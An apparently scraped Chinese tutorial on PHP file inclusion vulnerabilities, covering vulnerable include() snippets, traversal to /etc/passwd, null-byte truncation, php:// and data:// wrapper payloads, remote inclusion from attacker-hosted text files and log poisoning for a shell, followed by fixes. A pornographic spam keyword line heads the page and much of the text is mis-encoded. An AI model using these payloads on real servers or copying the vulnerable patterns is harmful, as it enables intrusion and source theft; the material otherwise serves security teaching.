日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

Web安全之文件包含漏洞

發(fā)布時(shí)間:2025/3/21 编程问答 27 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Web安全之文件包含漏洞 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

什么是文件包含

程序開(kāi)發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫到單個(gè)文件中,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件。而無(wú)需再次編寫,這種 文件調(diào)用的過(guò)程一般被稱為文件包含。
例如:include “conn.php”

PHP中常見(jiàn)包含文件函數(shù)

  • include()
    當(dāng)使用該函數(shù)包含文件時(shí),只有代碼執(zhí)行到include()函數(shù)時(shí)才將文件包含進(jìn)來(lái),發(fā)生錯(cuò)誤時(shí)之給出一個(gè)警告,繼續(xù)向下執(zhí)行。
  • include_once()
    功能與Include()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次
  • require()
    require()與include()的區(qū)別在于require()執(zhí)行如果發(fā)生錯(cuò)誤,函數(shù)會(huì)輸出錯(cuò)誤信息,并終止腳本的運(yùn)行。
  • require_once()
    功能與require()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。

區(qū)別

  • inlude :包含的文件不存在,程序會(huì)繼續(xù)執(zhí)行
  • require:包含文件不存在,程序停止執(zhí)行
    (如果出現(xiàn)語(yǔ)法錯(cuò)誤,兩個(gè)不會(huì)繼續(xù)執(zhí)行,如果是找不到這個(gè)文件,include繼續(xù)執(zhí)行,require,停止執(zhí)行)

文件包含漏洞原理
文件包含漏洞產(chǎn)生的原因是在通過(guò)引入文件時(shí),引用的文件名,用戶可控,由于傳入的文件名沒(méi)有經(jīng)過(guò)合理的校驗(yàn),或者校驗(yàn)被繞過(guò)。

常見(jiàn)漏洞代碼

if(isset($_GET[page])){include $_GET[page]; }else{include "home.php"; }

文件包含漏洞危害

  • 配合文件上傳漏洞GetShell
  • 可以執(zhí)行任意腳本代碼
  • 網(wǎng)站源碼文件以及配置文件泄露
  • 遠(yuǎn)程包含GetShell
  • 控制整個(gè)網(wǎng)站甚至是服務(wù)器

文件包含漏洞的分類

  • 當(dāng)被包含的文件在服務(wù)器本地時(shí),就形成的本地文件包含漏洞。
  • 本地文件包含和遠(yuǎn)程文件包含造成漏洞的原因是一樣的,當(dāng)php.ini 中的配置選項(xiàng)allow_url_fopen和allow_url_include為ON的話,則包含的文件可以是第三方服務(wù)器中的文件,這樣就形成了遠(yuǎn)程文件包含漏洞。

本地文件包含利用

  • 上傳圖片馬,包含圖片馬GetShell
  • 讀取網(wǎng)站源碼以及配置文件
  • 包含日志文件GetShell

包含上傳圖片_001

<?php if(isset($_GET[page])){include($_GET[page]); }else{include 'show.php'; } ?>

包含上傳圖片_002

<?php if(isset($_GET[page])){include('./action/' . $_GET[page]); }else{include ./action/show.php'; } ?>

包含上傳圖片_003

<?php if(isset($_GET[page])){include('./action/'. $_GET[page] . '.php'); }else{include './action/show.php'; } ?>

%00截?cái)?/strong>

  • /etc/passwd%00
  • 需要 magic_quotes_gpc=off,PHP小于5.3.4有效

路徑長(zhǎng)度截?cái)?/strong>

  • /etc/passwd././././././././././././.[…]/././././././././.
  • php版本小于5.2.8可以成功,linux需要文件名長(zhǎng)于4096,windows需要長(zhǎng)于256

讀服務(wù)器本地文件

  • ?page=…/…/…/…/…/…/…/etc/passwd

讀網(wǎng)站源碼文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php

偽協(xié)議:

  • 直接包含木馬文件,可以是圖片,txt,壓縮包…
  • ?page=php://input 接收post請(qǐng)求
    需要開(kāi)啟 僅需要開(kāi)啟 allow_url_include
  • ?page=http://172.18.11.66/0831/1.txt
    需要開(kāi)啟 allow_url_fopen,allow_url_include (遠(yuǎn)程包含)
  • ?page=php://filter/read=convert.base64-
    encode/resource=main.php (讀取文件源碼)
  • ?page=data://text/plain,<?php phpinfo();?>
    需要開(kāi)啟allow_url_fopen,allow_url_include

包含日志文件GetShell

  • 首先 找到日志文件存放位置
  • 讓日志文件插入PHP代碼
  • 包含日志文件
  • 遠(yuǎn)程文件包含利用
    包含遠(yuǎn)程txt文件(php.ini的配置選項(xiàng)allow_url_fopen和allow_url_include為on),遠(yuǎn)程服務(wù)器上存放一個(gè)txt文件,或
    者不被解析的php文件。(因?yàn)榘臅r(shí)候返回的是php源代碼,所以不能被解析)

    index.php?page=http://www.xxx.com/1.txt

    漏洞挖掘

    • 沒(méi)有通用的挖掘辦法
    • 特定的CMS,特定的版本可能存在漏洞(include,require)
    • Web漏洞掃描器掃描,常見(jiàn)的web漏洞掃描器都支持可以檢測(cè)。

    修復(fù)辦法

    • PHP中使用open_basedir配置限制訪問(wèn)在指定的區(qū)域
    • 過(guò)濾.(點(diǎn))/(反斜杠)\(反 斜杠)
    • 禁止服務(wù)器遠(yuǎn)程文件包含
      (allow_url_fopen,allow_url_include,off)

    總結(jié)

    以上是生活随笔為你收集整理的Web安全之文件包含漏洞的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。